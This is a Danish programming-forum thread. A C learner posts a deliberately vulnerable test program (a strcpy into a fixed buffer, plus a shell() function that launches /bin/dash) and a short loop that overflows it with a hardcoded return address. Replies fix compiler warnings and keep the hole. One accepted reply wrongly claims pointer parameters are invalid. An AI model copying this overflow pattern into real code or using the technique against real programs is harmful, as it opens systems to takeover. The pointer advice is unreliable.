Peter Kruse Mester
13. august 2019 - 09:18 Der er 4 kommentarer og
2 løsninger

Nogen som kender fejlen her.

Hej alle kloge mennesker.

Nogen som kender denne fejl, mit program vil ikke compile på linux eller windows (subsystem). Er pt igang med at lære "C" og har kodet et lille buffer overflow program til test ONLY.

[B]CODE:[/B]

#include <stdio.h>
#include <string.h>

#define SIZE 500

void shell(){
    system("/bin/dash");
}

void functionCp(char *str){
    char buffer[SIZE];
    strcpy(buffer,str);
}

void main(int argc, char *argv[]){
    functionCp(argv[1]);
    printf("%s\n","EXECUTED NORMAL");
}




[B]PYTHON CODE - EXPLOIT[/B]

while true
do
    ./vuln $(python3 -c "print('A' * 511 + '\xb9\x11\x40\x00')")
done


[BKender godt til kodning[/B]

Jeg har ikke den store viden indenfor C sproget og håber derfor nogen vil hjælpe :D
13. august 2019 - 10:21 #1
mig bekendt, kan du ikke sende pointer (*) som argument til en procedure
du skriver *str. det dutter vist ikke.

du skriver
strcpy(buffer,str);

men du har sendt *str ind i proceduren.
det dur ikke, den forventer str
Peter Kruse Mester
13. august 2019 - 10:52 #2
Prøver lige at rette det til, som du skriver
Peter Kruse Mester
13. august 2019 - 10:52 #3
Indtil videre er dit svar løsningen :D
arne_v Ekspert
13. august 2019 - 23:43 #4
Nu skriver du jo ikke hvilke fejl du fik.

gcc -Wall gav mig:

vuln.c: In function 'shell':
vuln.c:7:5: warning: implicit declaration of function 'system' [-Wimplicit-function-declaration]
    7 |    system("/bin/dash");
      |    ^~~~~~
vuln.c: At top level:
vuln.c:15:6: warning: return type of 'main' is not 'int' [-Wmain]
  15 | void main(int argc, char *argv[]){
      |      ^~~~

og for at slippe af med dem maate jeg anerde til:


#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define SIZE 500

void shell(){
    system("/bin/dash");
}

void functionCp(char *str){
    char buffer[SIZE];
    strcpy(buffer,str);
}

int main(int argc, char *argv[]){
    functionCp(argv[1]);
    printf("%s\n","EXECUTED NORMAL");
    return 0;
}
arne_v Ekspert
13. august 2019 - 23:45 #5
Jeg kan ikke umiddelbart se noget galt med brugen af str.

C har et sjovt syn paa array og pointere, men det er som det er.
Peter Kruse Mester
14. august 2019 - 07:34 #6
Kodning er altid på tværs, men jeg prøver at blove bedre. Tak for de mange løsninger
Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links

Opret Preview

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Du kan også logge ind via nedenstående tjenester





Premium
Test: Apples nye iPhone er bygget til fart og stil: Så gode er iPhone 12 og iPhone 12 Pro
Computerworld tester: IPhone 12 og iPhone 12 Pro er bygget til fart og til at se godt ud. Varen leveres stilsikkert, men noget er overset i farten.
Computerworld
Salling Group lukker stor online-satsning efter kun et år
Millionsatsningen Fillop lukker ved årets udgang. I stedet er supermarkeds-giganten Salling Group nu på vej med en række helt nye online-satsninger, der er affødt af coronakrisen.
CIO
Podcast: Hos Viking Life-Saving Equipment er it gået fra at være backend til at være noget, som kunderne spørger aktivt efter
Podcast, The Digital Edge: Viking leverer en stadig større del af deres produkt som en tjeneste. Som en del af tjenesten tager Viking ansvar for sikkerheden ved at levere, dokumentere og vedligeholde det nødvendige sikkerhedsudstyr. Hør hvordan Henrik Balslev senior digital director hos Viking har løftet den opgave.
Job & Karriere
Regner din ferie væk? Brug tiden på at søge en af disse otte stillinger, der er ledige netop nu
Det sjasker ned over hele Danmark. Du kan bruge de våde sommerdage på at søge et af disse otte job, der er ledige lige nu.
White paper
Minimér risikoen for kritiske GDPR-overtrædelser med Vulnerability Management
Selv mere end to år efter indførelsen af GDPR kræver det en målrettet og vedvarende indsats at overholde og blive ved med at overholde persondataforordningen. Det kan omvendt blive særdeles kostbart – og skade anseelse hos kunder og samarbejdspartnere – hvis man ikke yder denne indsats. Det er imidlertid klogt at løbende at målrette indsatsen effektivt. Dels ved at vurderer systemer løbende for sårbarhede samt at prioritere håndteringen af sårbarheder i forhold til risikoniveau. Hvilket er lettere sagt end gjort. I denne hvidbog kan du læse mere om, hvordan du griber GDPR-indsatsen effektivt an med Vulnerability Management.